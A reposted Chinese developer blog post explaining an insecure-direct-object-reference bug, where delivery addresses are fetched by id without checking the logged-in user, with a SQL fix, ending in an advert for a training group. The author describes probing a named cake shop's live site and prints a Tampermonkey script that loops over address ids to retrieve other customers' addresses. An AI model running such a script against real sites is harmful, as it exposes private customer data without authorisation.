今日偶然逛博客园时,看见一篇写的挺好的随笔,看完后深有感触,于是在这里分享出来。下列为原文地址:
去年公司南山接了一个大单,由于项目没有类似的借鉴完全要靠自己摸索,然后是做一版感觉不行又要调整,反反复复修改,然后新功能又要开发,一时一个人根本忙不过来,非常头痛,为工作更方便干脆安营扎山寨在客户那边,边开发边讨论解决方案,每天都是半夜才回到家。但是由于新功能要开发,旧的版面也在做调整,然后也有些许bug要修补,一个人工作量太大了,一边客户要求进度快,所以很多细节就忽略了,但也这样埋下了安全隐患。工作持续三个月左右,终于是要开发完成了,心中甚是高兴,终于一个项目又要完成了。但也这个时候,客户找一个专业测试员,专门测试系统的漏洞,之前埋下的祸根就显现出来了,一下找到7、8个漏洞,其中包括在线支付,客户信息的安全等。
举个栗子客户信息是怎么不安全的
在查询用户信息的时候使用sql
select top 1 * from addr where id=地址id
在正常情况下,这个是肯定是没有问题的,用户的地址id是唯一。但是呢,如果在web网站下,使用get请求去获取,用户随便修改一个id,那么可能是获取到别的客户的信息了,这时候其他客户的信息严重泄露了。
如web地址get地址是/user/deliveryAddress/55,用户输入的是/user/deliveryAddress/56
所似我们正确做法是,从当前登录的session中获取用户id,同时使用用户id和地址id对比,这样才不会出错。
select top 1 * from addr where id=地址id and userid=用户id
确保此地址的信息是当前用户的
这种错误是不是只我才犯过呢?其实不然
前几天某蛋糕被曝不是当天新鲜制作,内部管理乱得一塌糊涂,其实之前也在他们家买过蛋糕,于是好奇去了他们官网看一下,无意中发现在用户修改地址信息的时候也是用户我之前的方式获取信息/user/deliveryAddress/id 。
做为一个it,之前我就犯过这种错误,好奇之下,我随便修改了一个地址id,果然地址信息改变了,看到其他用户的信息。后来为了验证,我在tampermonkey上写一个循环
// ==UserScript== // @name xfxb // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author You // @match https://www.xfxb.net/* // @require http://code.jquery.com/jquery-1.11.0.min.js // @grant none // ==/UserScript== (function() { 'use strict'; for(var i=1000;i<1005;i++){ $.get("/user/deliveryAddress/"+i, function(result){ console.log(result); }); } // Your code here... })();
出现了以下信息
轻松拿到其他用户的地址信息,看来其他人也同样会犯这种错误。
@某蛋糕网站的It,你的漏洞了该修复了
记录踩过的坑,希望其他人少踩到相同的坑,并且能在CNBLOGS这找到解决办法
我自己是一名大数据架构师,目前辞职在做线上教育大数据讲师,每天都会直播分享免费公开课,大家可以加群参加。以及我自己整理了一套最新的大数据学习系统教程,包括Hadoop,数据挖掘,数据分析。送给正在学习大数据的小伙伴!这里是大数据学习者聚集地,欢迎初学和进阶中的小伙伴!加QQ群:584900118